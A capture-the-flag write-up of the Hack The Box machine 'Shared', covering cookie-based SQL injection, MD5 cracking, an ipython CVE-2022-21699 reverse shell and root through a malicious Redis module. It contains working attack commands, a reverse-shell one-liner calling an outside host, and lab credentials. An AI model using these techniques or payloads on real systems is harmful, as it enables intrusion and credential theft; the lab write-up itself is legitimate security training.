INDEX



Shared box HTB

Enumeration

  • nmap -sV -p- -A 10.10.11.172
      22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
      | ssh-hostkey: 
      |   3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
      |   256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
      |_  256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
      80/tcp  open  http     nginx 1.18.0
      |_http-title: Did not follow redirect to http://shared.htb
      |_http-server-header: nginx/1.18.0
      443/tcp open  ssl/http nginx 1.18.0
      |_http-title: Did not follow redirect to https://shared.htb
      | tls-nextprotoneg: 
      |   h2
      |_  http/1.1
      | ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
      | Not valid before: 2022-03-20T13:37:14
      |_Not valid after:  2042-03-15T13:37:14
      |_ssl-date: TLS randomness does not represent time
      | tls-alpn: 
      |   h2
      |_  http/1.1
      |_http-server-header: nginx/1.18.0
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
  • The site hosts prestashop version 1.7.X, understood from here: https://stackoverflow.com/a/62383164
      /themes/classic/assets/css/theme.css
    

    I try to study and execute the exploit: https://www.exploit-db.com/exploits/49410 → no way

  • gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://shared.htb -k -b "301, 404"
      /api                  (Status: 401) [Size: 16]
      /Makefile             (Status: 200) [Size: 88]
      /apis                 (Status: 401) [Size: 16]
      /apidocs              (Status: 401) [Size: 16]
      /apilist              (Status: 401) [Size: 16]
      /apiviewer            (Status: 401) [Size: 16]
      /apiguide             (Status: 401) [Size: 16]
      /apig                 (Status: 401) [Size: 16]
    
  • Looking in the source code from the browser you will notice how the controller parameter of index.php allows you to navigate in the pages.

    An interesting page seems to be http://shared.htb/index.php?controller=address because it redirects to http://shared.htb/index.php?controller=authentication&back=addresses asking for a login.

    I exclude the possibility of doing a bruteforce as I do not know neither the email nor the password.

  • Browsing the site and trying to make a purchase I found http://checkout.shared.htb/

  • gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://checkout.shared.htb -k --exclude-length 3229
      /assets               (Status: 301) [Size: 169] [--> http://checkout.shared.htb/assets/]
      /css                  (Status: 301) [Size: 169] [--> http://checkout.shared.htb/css/]   
      /config               (Status: 301) [Size: 169] [--> http://checkout.shared.htb/config/]
    
  • shared.htb to tell checkout.shared.htb which products have been placed in the cart use the cookie:
    custom_cart=%7B%2253GG2EF8%22%3A%221%22%7D; → url decode → custom_cart={"53GG2EF8":"1"};

  • Being something custom it will not be part of prestashop, so I mainly focus on this functionality. Maybe there is some injection? I do tests:
    • {"53GG2EF8":"1","YCS98E4A":"1"} → encode url → update cookie → I look at product listing on checkout.shared.htb53GG2EF8 e YCS98E4A
    • {"53GG2EF8":"1","' OR '' = '":"1"} → encode url → update cookie → I look at product listing on checkout.shared.htb53GG2EF8 e 53GG2EF8
    • {"53GG2EF8":"1","'":"1"} → encode url → update cookie → I look at product listing on checkout.shared.htb53GG2EF8 e Not Found
  • I immediately try using the hard way:

    request_checkout.txt

      GET / HTTP/2
      Host: checkout.shared.htb
      Cookie: custom_cart=*; PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200eaac2613eabdb2f368d87aa21150d1684adce3302f020dc02b3f0bbcb57c83a4ab7f73e2446b92b4edd460590d3a39da9fdb290f2cb46420fd05cb5bfa80f1dad6c06a04b804cd469fa8a95358fc31920593be7aa7be4c54f5864fa8b007d4a3ca09fc1fc64e5458e193f79958943a71c4f5fe0dd85e1242acbd4f87949c29696b07969e1bbd73549bdd8906d42aaaa62d94cc3b91023b4331d586cd2d3608f0b2011036f6c2dcd2ed3f30fb658d5465e16346e2cba5181d8af017361ca2627488471a0ce99d91ecf4f43eb7fed1a4765f41d76718abeff46c659999e3b7653affe4e5bb4826b4f51139baace14f99f2f8b0d0c810fcc18413e6a470279de2d15e7f4c8fefc035ca1d412bffe5539507c77775836d6125
      Cache-Control: max-age=0
      Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"
      Sec-Ch-Ua-Mobile: ?0
      Sec-Ch-Ua-Platform: "Linux"
      Dnt: 1
      Upgrade-Insecure-Requests: 1
      User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Sec-Fetch-Site: none
      Sec-Fetch-Mode: navigate
      Sec-Fetch-User: ?1
      Sec-Fetch-Dest: document
      Accept-Encoding: gzip, deflate
      Accept-Language: en-US,en;q=0.9
      Sec-Gpc: 1
    


    Testing the first field: sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22' --suffix='%22%3A%221%22%7D'

    Testing the second field: sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22YCS98E4A%22%3A%22' --suffix='%22%7D'

    I used the --proxy='http://localhost:8080' parameter to check from Burpsuite that the requests had the injection in the correct place.

    Unfortunately I was unable to get an injection, I make a few attempts without sqlmap

  • {"' AND 1=2 UNION SELECT 1,@@version,3-- a":"1"}10.5.15-MariaDB-0+deb11u1

  • I create other queries to better understand the situation:
    • tables: {"' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM INFORMATION_SCHEMA.TABLES -- ":"1"}
    • users: {"' UNION SELECT 1,GROUP_CONCAT(id,' ',username,' ',password),3 FROM user -- ":"1"}
        1 james_mason fc895d4eddc2fc12f995e18c865cf273
      
    • I identify the type of hash with hash-identifier
        HASH: fc895d4eddc2fc12f995e18c865cf273
      
        Possible Hashs:
        [+] MD5
        [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
      

      Then I check the corresponding Hash-Mode number for hashcat

      hashcat --example-hashes | grep MD5 -B 4 -A 4

        Hash mode #0
        Name................: MD5
        Category............: Raw Hash
        Slow.Hash...........: No
        Password.Len.Min....: 0
        Password.Len.Max....: 256
        --
        Custom.Plugin.......: No
        Plaintext.Encoding..: ASCII, HEX
      

      And finally I start to crack the MD5 hash with an offline dictionary attack:

      hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

        fc895d4eddc2fc12f995e18c865cf273:Soleil101
      
  • I got the foothold so I login as: ssh james_mason@shared.htb

  • Server side:

    /var/www/checkout.shared.htb/index.php

      if(isset($_COOKIE["custom_cart"])) {
          $custom_cart = json_decode($_COOKIE["custom_cart"], true);
          $i=0;
          foreach($custom_cart as $code => $qty) {
              $sql = "SELECT id, code, price from product where code='".$code."'";
                
              // Prevent time-based sql injection
              if(strpos(strtolower($sql), "sleep") !== false || strpos(strtolower($sql), "benchmark") !== false)
                  continue;
                    
              $result = $conn->query($sql);
    
              ...
          }
      }
    

    config/db.php

      <?php
      define('DBHOST','localhost');
      define('DBUSER','checkout');
      define('DBPWD','a54$K_M4?DdT^HUk');
      define('DBNAME','checkout');
      ?>
    
  • Database side: USE checkout;

    select * from user;

      +----+-------------+----------------------------------+
      | id | username    | password                         |
      +----+-------------+----------------------------------+
      |  1 | james_mason | fc895d4eddc2fc12f995e18c865cf273 |
      +----+-------------+----------------------------------+
    

    select * from product;

      +----+----------+-------+
      | id | code     | price |
      +----+----------+-------+
      |  1 | 53GG2EF8 | 23.90 |
      |  2 | YCS98E4A | 35.90 |
      |  3 | CRAAFTKP | 29.00 |
      |  4 | MFDSVHXQ | 29.00 |
      |  5 | SS5UMYLB | 29.00 |
      |  6 | 7DA8SKYP | 11.90 |
      |  7 | 2E6E8GXJ | 11.90 |
      |  8 | 562XZDU8 | 11.90 |
      |  9 | DW64K6JF | 18.90 |
      | 10 | B4GTLMT3 | 18.90 |
      | 11 | B4ATAMB4 | 18.90 |
      | 12 | 4HAR4XDK |  9.00 |
      | 13 | UE593T4N |  9.00 |
      | 14 | WH82F998 |  9.00 |
      | 15 | PPZV67J5 | 35.00 |
      | 16 | BTAPXNX4 | 12.90 |
      | 17 | 5P6UG55R | 12.90 |
      | 18 | 77W6QWLX | 12.90 |
      | 19 | 8LPULR6Q | 13.90 |
      +----+----------+-------+
    



Privesc user

  • I run the usual script linpeas.sh interesting group developerfind / -group developer 2>/dev/null
      /opt/scripts_review
    
  • Running pspy64 I see that a cronjob is being executed:
      2022/09/11 05:59:01 CMD: UID=0    PID=82273  | /usr/sbin/CRON -f 
      2022/09/11 05:59:01 CMD: UID=0    PID=82275  | sleep 5 
      2022/09/11 05:59:01 CMD: UID=0    PID=82274  | /bin/bash /root/c.sh 
      2022/09/11 05:59:01 CMD: UID=1001 PID=82277  | /usr/bin/pkill ipython 
      2022/09/11 05:59:01 CMD: UID=1001 PID=82276  | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 
      2022/09/11 05:59:01 CMD: UID=1001 PID=82278  | /usr/bin/python3 /usr/local/bin/ipython
    
  • The ipython command is run inside the /opt/scripts_review/ directory, it doesn’t make much sense without arguments.

    ipython keeps its configurations inside the directory: ipython locate

      /home/james_mason/.ipython
    

    This part of the box reminds me of the OpenSource root flag: you had to work on the .git directory of the repo owned by the user in which the git command was run as root inside it.

    In this case it is more difficult because if you created a .ipython directory inside /opt/scripts_review/ it would be ignored by the user with id 1001 ( dan_smith) because he has his own configuration of ipython:

      /home/dan_smith/.ipython
    
  • There is a CVE for ipython at version 8.0.0https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x

    I try to run the exploit: mkdir -p /opt/scripts_review/profile_default/startup && chmod -R 777 /opt/scripts_review/profile_default/ && echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > /opt/scripts_review/profile_default/startup/foo.py

    bingo!

  • but why does it work?

    In the patch you can see:

    IPython/core/application.py

      def _config_file_paths_default(self):
          return [os.getcwd()]
    

    was changed to

      def _config_file_paths_default(self):
          return []
    


    IPython/core/profiledir.py

      paths = [os.getcwd(), ipython_dir]
    

    was changed to

      paths = [ipython_dir]
    


    The source code of ipython before FIX CVE-2022-21699: https://github.com/ipython/ipython/tree/b8d7dfa8d78108f3f01486d9fa67b6841acb8f74

    I reproduce the exploit locally:

    • git clone https://github.com/ipython/ipython.git /home/user/Downloads/ipython/
    • cd /home/user/Downloads/ipython/
    • git reset --hard b8d7dfa8d78108f3f01486d9fa67b6841acb8f74
    • sudo pip3 install -e .
    • cd /home/user/Downloads/
    • mkdir test && cd test
    • nc -lnvp 4444 (another terminal)
    • mkdir -p /home/user/Downloads/test/profile_default/startup && echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > /home/user/Downloads/test/profile_default/startup/foo.py
    • sudo ipython

    So the function find_profile_dir_by_name() at this version returned in the list also the os.getcwd().

    It was also passed as input to the function find_profile_dir_by_name() the value of get_ipython_dir() that read $IPYTHONDIR.

    The problem is that for both james_mason and dan_smith it is empty, but even if it were set it would have less precedence than os.getcwd(): https://github.com/ipython/ipython/blob/23c328212ad01d846ec9998533ccdc5f5d17fbe9/IPython/core/profiledir.py#L203

      paths = [os.getcwd(), ipython_dir]
    

    There is a discrepancy between what I have reproduced locally and the behavior in the box: if I don’t give permission 777 to the profile_default folder and to profile_default/startup it doesn’t work. Reason:

      File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 125, in check_security_dir
          self._mkdir(self.security_dir, 0o40700)
      File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 95, in _mkdir
          os.mkdir(path, mode)
      PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/security'
    
      File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 121, in check_startup_dir
          shutil.copy(src, readme)
      File "/usr/lib/python3.9/shutil.py", line 418, in copy
          copyfile(src, dst, follow_symlinks=follow_symlinks)
      File "/usr/lib/python3.9/shutil.py", line 264, in copyfile
          with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst:
      PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/startup/README'
    

    The reason therefore is that ipython tries to create its own configuration files and fails if it does not have write permission.



Privesc root

  • I run the usual script linpeas.sh

      ╔══════════╣ My user
      ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
      uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
    
  • find / -group sysadmin 2>/dev/null
      /usr/local/bin/redis_connector_dev
    
  • ls -al /usr/local/bin/redis_connector_dev
      -rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev
    
  • I run: /usr/local/bin/redis_connector_dev
      [+] Logging to redis instance using password...
    
      INFO command result:
      # Server
      redis_version:6.0.15
      redis_git_sha1:00000000
      redis_git_dirty:0
      redis_build_id:4610f4c3acf7fb25
      redis_mode:standalone
      os:Linux 5.10.0-16-amd64 x86_64
      arch_bits:64
      multiplexing_api:epoll
      atomicvar_api:atomic-builtin
      gcc_version:10.2.1
      process_id:83354
      run_id:b1d5c673b3d670f3fc567ccdc14c3a337ed297cc
      tcp_port:6379
      uptime_in_seconds:6
      uptime_in_days:0
      hz:10
      configured_hz:10
      lru_clock:2043228
      executable:/usr/bin/redis-server
      config_file:/etc/redis/redis.conf
      io_threads_active:0
      <nil>
    
  • Manages to login to redis, then I unload the binary and start reversing it with ghidra. But first I look at the traffic with wireshark while trying to connect to a local redis instance:

      4	0.000829298	::1	::1	TCP	125	35854 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=513050482 TSecr=513050482
    
      Frame 4: 125 bytes on wire (1000 bits), 125 bytes captured (1000 bits) on interface any, id 0
      Linux cooked capture v1
      Internet Protocol Version 6, Src: ::1, Dst: ::1
      Transmission Control Protocol, Src Port: 35854, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37
      Data (37 bytes)
          Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a
          [Length: 37]
    

    in the data field it reads:

      *2
      $4
      auth
      $16
      F2WHqJUz2WEz=Gqq
    

    The last field could be the password, I look on the locally installed redis-server if the traffic matches:

    redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'

      8	1.889181379	127.0.0.1	127.0.0.1	TCP	105	46490 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=1089735618 TSecr=1089735613
    
      Frame 8: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) on interface any, id 0
      Linux cooked capture v1
      Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
      Transmission Control Protocol, Src Port: 46490, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37
      Data (37 bytes)
          Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a
          [Length: 37]
    

    In the data field it reads:

      *2
      $4
      auth
      $16
      F2WHqJUz2WEz=Gqq
    

    bingo!

    I got the redis password, I log into the box:

    redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' → it works

  • Enumeration of the content inside the redis server:

    127.0.0.1:6379> INFO keyspace

      # Keyspace
    

    127.0.0.1:6379> keys *

      (empty array)
    

    127.0.0.1:6379> dbsize

      (integer) 0
    

    completely empty!

  • I google “redis privesc” and I found https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/

  • Another method https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module:

    • git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
    • Compile it with make
    • I upload module.so on the /tmp/module.so box with python http server
    • redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'
    • MODULE LOAD "/tmp/module.so"
        (error) ERR Error loading the extension. Please check the server logs.
      
    • There is an error but the module was loaded anyway:

      MODULE LIST

        1)  1) "name"
            2) "system"
            3) "ver"
            4) (integer) 1
      
    • system.exec "id"
        "uid=0(root) gid=0(root) groups=0(root)\n"